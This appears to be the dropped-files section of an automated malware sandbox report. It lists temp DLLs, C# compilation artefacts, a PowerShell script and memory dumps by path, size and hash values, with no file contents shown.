SHA512 e396f0a02b2c3bb784250a0a288f60c964e4cb0a03af6c580f73db46c522cb086dd5dc8655b77bd92b1cf01149992312e8c6d35b4fd4e4084c3572fc3ce35206
TLSH
T1EBF0A231B591DD00468651A01675DCC989B7423F21C93F05BB8CC684BF59B0CC77445A
MD5 SHA1 SHA512 TLSH

Submit Download

gr2lxjn4.dll

Path C:\Users\Admin\AppData\Local\Temp\gr2lxjn4\gr2lxjn4.dll
Size 3KB
SHA256 d56c90afb51c3a3c054c4ea9b6a4695f91e456d7ec15620f11346d1a312068ce
MD5 274bb3d5f42d959de02df4126ca5b1ee
SHA1 cc1f61db11eab07233ecbc91f2c6314162e78cc5
SHA512 eee21b62e6061d357bce076cd098b77d539f44644a006781f46abdac8aaf3936bc9c87795038327e2f23e5f6b9daadbd6cfae2587628c35efdcdbe5ac41603d8
TLSH
T15351B91AA3E8466BE4B74BB86EE3031337B4FC209B72931D598053686C217685D32FB1
MD5 SHA1 SHA512 TLSH

Submit Download

kcpewwtt.dll

Path C:\Users\Admin\AppData\Local\Temp\kcpewwtt\kcpewwtt.dll
Size 5KB
SHA256 48f458825ce9659aa069d6e28f77c7eef1e875e760c09f8fe688668afd0d4563
MD5 db2fd5f0669acdc047646106e7a7598d
SHA1 d0616efa5a0b04cb2618db37bb7e2d23b5ad7433
SHA512 6c051fc84994e05defb78e883dfcd4bb6241dde66638cd74cbd6466e1377621ad467ba51a9d17315fc38cec1eba593a08c89184a0afc84b7f0559b0dc08a1661
SSDEEP 96:IgnuzASY/P3WPKnTt04Q71QsHQZjac9VK:nnFS23gs0X70Zja/
TLSH
T13FB1760B27EC016AF4AA07379DF303429470F4105B37876F4498666E6C76A500E627F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ppjmqddo.dll

Path C:\Users\Admin\AppData\Local\Temp\ppjmqddo\ppjmqddo.dll
Size 7KB
SHA256 bfc74d62bfaa4bc968c4086f08d8c29c8fb00b67cc99860209197ae80b325bd8
MD5 da0e642ac6144f11767b141a2ac4a333
SHA1 013095f05149bfc8d3f1e66d3fbabdcc9182fa7f
SHA512 2a3bb6752aa981b37928a20cb22b99561e594f4b19c848dc7a821b6686ad689cb91961f5ff208f7e2917ab895e1cd5830fc304da5409ac0f4ce9ba06a3065e84
SSDEEP 96:gz/uzTLlpWz2nnlgPZyX+OTc7WcPVZLPzo+DWfrAWWOuCBK:gz/422nnlgZs+yglVZLLo+qsWLO
TLSH
T17BE1920EFBEC4918F0FF0B70ACB243119B75FC424A32A72F159550A92DB07946B25BB2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

system_input_1779280922887_s0fl9w.bin

Path C:\Users\Admin\AppData\Local\Temp\system_input_1779280922887_s0fl9w.bin
Size 640B
SHA256 db14e3347e134bebaff85b81994df157208a7580495d62c2ed2b5ca38cd10747
MD5 69970d825075072a8e7c00b0828e8f37
SHA1 3aba50e7f3c0fe0f7c8ac0cde1845db1a7c32bad
SHA512 dbcc25e0d57b7dba239df18157822a716f87de7a24c397e8395cf5a773e68bb31fd7da14c84226a0383f29c78d99a0236b9fc22b8aa3a16f4c8ae96d2c90552f
TLSH
T19DF0681EE731810AF000547F0A23FE4E8D855B41E5295350F84224D835EC3424EE0E8E
MD5 SHA1 SHA512 TLSH

Submit Download

system_output_1779280922887_d4qabm.bin

Path C:\Users\Admin\AppData\Local\Temp\system_output_1779280922887_d4qabm.bin
Size 384B
SHA256 98abe7b270103465263b193ef1e964a56f6984b514c903324c05319923306d16
MD5 2ad0181954c0a552525a74a1e6128c6a
SHA1 94f21586164a1c8f2aef84613b2fe760296dc515
SHA512 39d03b27061e6c183b5733d2b55d8f3f4839bda1deeea611a610e7222e18e77987350a68d857353a186b3a945e04493422f1c42df3b5bb5f3e48a20a68431e61
TLSH
T19CE0F802672E44AFE03E637E30AB82D001F4E009593B08A88A8660461A62E124172BF2
MD5 SHA1 SHA512 TLSH

Submit Download

system_script_1779280922887_w117b.ps1

Path C:\Users\Admin\AppData\Local\Temp\system_script_1779280922887_w117b.ps1
Size 9KB
SHA256 d3336d149c0c0f24741e35b3c5774b9963a557408b27a1252c3133fa3c46bb35
MD5 6329c5aa8ff409fc94ea3d48d63cb223
SHA1 fed20dadd37aa5748944af2e3f04b95461348de5
SHA512 fbc4935b632e1914d2ba54e33663cf0a105d5771fa5c1749caec5b8057855b20b063ce9d93998f3c7bf12e8936e22dfc646cc2f4b48f274a108c88594cec3cb0
SSDEEP 192:wbsP5Sh/jer9mzIVsgcpX0qNqOowc9lSCdFlpiiYazNWJbCYUaC:vbr9m0VuMWRUf
TLSH
T1242266985BEB151408B771396EDDE04F6932111721BDAE20B9ED83D09F4122EFFB6728
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yoj1fufu.dll

Path C:\Users\Admin\AppData\Local\Temp\yoj1fufu\yoj1fufu.dll
Size 5KB
SHA256 868f7ca65ec6e76429906323f7aee144b764dab95168a141c2124ac3ec3327f8
MD5 ddcc6bc7c85f7f5ebad3eb954386e2b3
SHA1 a43604b3dca9c7ea02677a1fb30abe6b5850da75
SHA512 4d0b13861dfa129f04718a88386a0beeb998f52498f77ef589b84531ffd55d37ad7b3f13e34d4916f2d41f987dd564c9d92090748b05308e6f35652f1ee2da1c
SSDEEP 48:6EviIW0t3xyz+tEpRrgPRu68pp+iJCzg5uJ9j8oi0+ZiKl95u6HWImA1ul/a3zq:HWKkiEPrjGA3ZBl9MXtK
TLSH
T17CB1420BABED416AF0BF0B3568F303131BB4BDA14B76931F095501395C613949B36BB6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC1CA59BC1649C4BD1BAFEE0D340BC239A.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\gr2lxjn4\CSC1CA59BC1649C4BD1BAFEE0D340BC239A.TMP
Size 652B
SHA256 7735d9942ce2b093c89d5c673ba6f215154619ac59b4bde815866a1b47114db9
MD5 58509eed33ef85e66d7e0b5895524213
SHA1 f42bdd45f48744a9d35e6d9209ac0f3c56cc9f00
SHA512 ccf602751743995b617714bfc6c1b087eaf256f14acaf1b2f6ca8175053f6470d5907b50af404be20aad867c67f110169dc71c756eb9c653a3fdf6f36c07ee83
TLSH
T110F05E09A3F8020EF0F74B70BDF6436391A8FC64DE3293ED1980531928755149962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

gr2lxjn4.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\gr2lxjn4\gr2lxjn4.0.cs
Size 187B
SHA256 d025feb50b2ec1ccc267b1102b0248e3bf56ecd33a5b22db28cfa503dd665da1
MD5 6094ebd3a7b7885c0ec2b5c5c4c71259
SHA1 800aca71641e1eedbdade258a4db43842fe88fb8
SHA512 d535b4cb3555ae53010728b1e88551814812f2555093e4b7ab35347cbfc652fb8c2f50313387aaf094f6a1a5c58b83df78221a9ede3088785b9c4833493715a0
TLSH
T161C01228A6F7EE34449358165D0995EDBF27510B726E6A02BAA80214CF870580139E1F
MD5 SHA1 SHA512 TLSH

Submit Download

gr2lxjn4.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\gr2lxjn4\gr2lxjn4.cmdline
Size 369B
SHA256 5b7f6d4efff64375cd2d921cbd99eaf544249d1b34c1131b4236cc478db4552d
MD5 c19263404bc10f49b556e3b49f563e92
SHA1 97e4a6ce684c8a205232542b970daada96f0d554
SHA512 47911dd0a0777a3f262f8c96da18d7f22767f75544c2194c26337842b1e557e7db034c437e10e1d25f925f3870f5a4da7b916af8cf96be18889e37a28f6a2e22
TLSH
T185E0C62B638AC3FD01FE1A0B226AD4BCC372278379803F849040840DF0B70022BE278A
MD5 SHA1 SHA512 TLSH

Submit Download

CSC2EC16D026C2C4353B1E1172DF1F54145.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\kcpewwtt\CSC2EC16D026C2C4353B1E1172DF1F54145.TMP
Size 652B
SHA256 f10225f567b99253ddd25ae97d25c68dbcc61ff2912f75bae8022514d522f59c
MD5 ea560fc9f065ca2c1148f14453aef1fe
SHA1 f128c6908f408b9be85c104e31e0a48321cc1336
SHA512 69b01204a3aa54708819e24736abd3fc46165bdcc6400e217b1b404ba14bc0a76a9ffc24697033413b64b323f606903e23670d36f8f548190dbe6c5f55eb37cf
TLSH
T110F05E0AA3F8020EF4F74B30BDF653A395A8BC64DE3293ED1440031D28649108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

kcpewwtt.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\kcpewwtt\kcpewwtt.0.cs
Size 3KB
SHA256 ca371a23e074f36c9077f9130821210564a5a1c3561801e4a83da991f5251266
MD5 1f84c248229f5407e7a10d6cb56ce5da
SHA1 61bafb798ab5ed5f7f03adea58ab58c1084ff7f4
SHA512 ddb968a7e2902ff34b18191ab0b89bdc722a99a7eb43d7057668dfcbf66757652396eeac4f7af8df1c1225f227dc8f273909e27434f47d356ecb967b20cb40b9
TLSH
T1EA8113215553A9FE0B231625AEDDC19CF92342270735BE203C9F19716F97221AE387AC
MD5 SHA1 SHA512 TLSH

Submit Download

kcpewwtt.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\kcpewwtt\kcpewwtt.cmdline
Size 369B
SHA256 0bbbbca75fd98ca2d15b92400fa2d14eef793378e35d4cc1d23d8c8ca86c1538
MD5 cbbbbd57af7039890d3f06cf035ee80c
SHA1 ebcc715961ef6def161fd732696e8baa7e7e71f4
SHA512 138c45a8632352b3b6db8e484e23bde0c729e8b81f4113f3ff8bd319e537a64de49fbad6958c1f86297eff5960d2c19267c7bb5562da8796784a4737ee26d8e4
TLSH
T11FE0C62A4246C27D09EE300B266EC4ACC27B0B8369C03F889044841DE0A70852BD27A9
MD5 SHA1 SHA512 TLSH

Submit Download

CSCEB962B5CFC1046E2928DAB4F286FE72.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\ppjmqddo\CSCEB962B5CFC1046E2928DAB4F286FE72.TMP
Size 652B
SHA256 47b101e3b525686a21a0294e70da547df0eb12e288cc78248a2f6cafe58f0664
MD5 b46eb3984e5e2dc10161aac7b61af790
SHA1 18e5e3752535cfe87b3465083dcdacbd9c1f2301
SHA512 b9ed15a5e2ca2a138bcb8d91aa0877c083386a6c60379799e4908d3fd86c4e80fe3ee9dfbbb3a06e771a16d72e5b7853480391a7c66d9e2a02857b89ccebe9dc
TLSH
T19FF05E5973F8420EF0F34B30BDF693A391ADBC65DE3293ED254003192C646148962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

ppjmqddo.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\ppjmqddo\ppjmqddo.0.cs
Size 7KB
SHA256 ca643b55ecd7eef093f4e250e9c1587090f792d805be4a6ba5dfd782ea2c7db0
MD5 ed5c7343d932f07c99bc1126d0bf0fd0
SHA1 938f5bac59460d8fef0761ca1fdca50f1ad0d61e
SHA512 d036d0371229149eddc05b5a0c4eda5915415884ce399edb9c9dbe1b66f3029a3c67eabab63b1eb0490d26ddbaaf42c1014497783153e51fa7dc9bf61a24505b
SSDEEP 192:2r9mzIVsgcpX0qNqOowc9lSCdFlpiiYazNWJbCI:2r9m0VuMWt
TLSH
T148F1475957AB561008B77139AECEE05FA9211113127DEE307DEE43A09F0221AFFB6739
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ppjmqddo.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\ppjmqddo\ppjmqddo.cmdline
Size 369B
SHA256 5ce1d2dbb9902ed90397b9031c995622b784c2d1689b7f04e95fcb37c709bae4
MD5 4b9cddd4b3eca4d5e0a7c4cf83d7d598
SHA1 1e4813fdbecebd2e51bc1c2c7a827977171f2382
SHA512 027b4bc1a1319aca0d02631bed42957f9b23914646e82da7175ddd07b8713b2f3a72ce2fbc2e5fc1553a58da5f705628bf71e236b848f2dfd26bb1822a6d85cb
TLSH
T1A3E0D83AD357C7BF15E920072169F5AC92724B472AC17F845990545FF037104ABD1BA9
MD5 SHA1 SHA512 TLSH

Submit Download

CSCD4C04616AEF949A79DC4BF95B82B74B.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\yoj1fufu\CSCD4C04616AEF949A79DC4BF95B82B74B.TMP
Size 652B
SHA256 73407adf51faad80f4c3788c0e0a84ea53f1c9bb952f0a0d5e3184de57f8f15b
MD5 2832b3449c4128a76edeaa328683c901
SHA1 6995310a0df195cad07da315e6d83c7d5963820f
SHA512 0d0212fccde08617853b4007c2e70a62ee221fb7301b6a473e8bbb98e2dcf9c7dda5085f29eca743da49cd4408f14859a6c2d06517146ad7fbba97d0b8e9ae9c
TLSH
T19FF03A0973FC420AF5F34B31B9F6436791A9BC65DE3693ED1440031D28645108A72FB2
MD5 SHA1 SHA512 TLSH

Submit Download

yoj1fufu.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\yoj1fufu\yoj1fufu.0.cs
Size 4KB
SHA256 717a43d5e2289bcc9019eb203d0645ee8ae1f98294e0d35f4912e1d2a4ec17f3
MD5 14af8336b77201f20ca94c7a9dede0c3
SHA1 e9ab7f465aae7bfe266ad309e4fa5e1a7540d352
SHA512 8ecc558f94cb9e0c9165815f8f46097d5978aa9a2bda5554eca12a5b0a2e6aabe04f0a371838ad92df02bce6eb7780c9c75429824031a8918caebd568fb9a2e4
SSDEEP 48:J68sNoexC6XljxaSrertGgFuwyX+BYFloWoBYoEvBOigt9taHRkwXGd60F96QNT8:JjsNprjxxKAzFl3YYA7l6RywCI
TLSH
T18781D058639B571104FB70197D9AD05FE9222513227EEE2079FD83A0DF0111AE77AB39
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yoj1fufu.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\yoj1fufu\yoj1fufu.cmdline
Size 369B
SHA256 0f3285a39ee40b86b1c2fedcb86b2814896faf0450eb02f6dee3aa9da8901117
MD5 c361e735a93ee99928f79038f43d2d0b
SHA1 99824f3da4c4ab3719bb4055d53c3e0114833db0
SHA512 7d645222f8232f07f36727572416c00db6e193b5e34728e2a90bc0d1c7e7c5c59ce2ce8208ab3bb08ac702f83c6c90f03083f868135732470567ae756420bce3
TLSH
T1B7E0C02A4256C2FE13DD10073179C4ACC6760B8329493F8495898CEDF02740A3BD1745
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1168-65-0x0000021CA50B0000-0x0000021CA5100000-memory.dmp

Download

memory/1168-78-0x0000021CA5060000-0x0000021CA5068000-memory.dmp

Download

memory/2636-47-0x00000212DD8E0000-0x00000212DD8E8000-memory.dmp

Download

memory/2636-24-0x00000212DD590000-0x00000212DD5B2000-memory.dmp

Download

memory/4928-143-0x000001E0FB0D0000-0x000001E0FB0D8000-memory.dmp

Download

memory/4928-130-0x000001E0FB0B0000-0x000001E0FB0B8000-memory.dmp

Download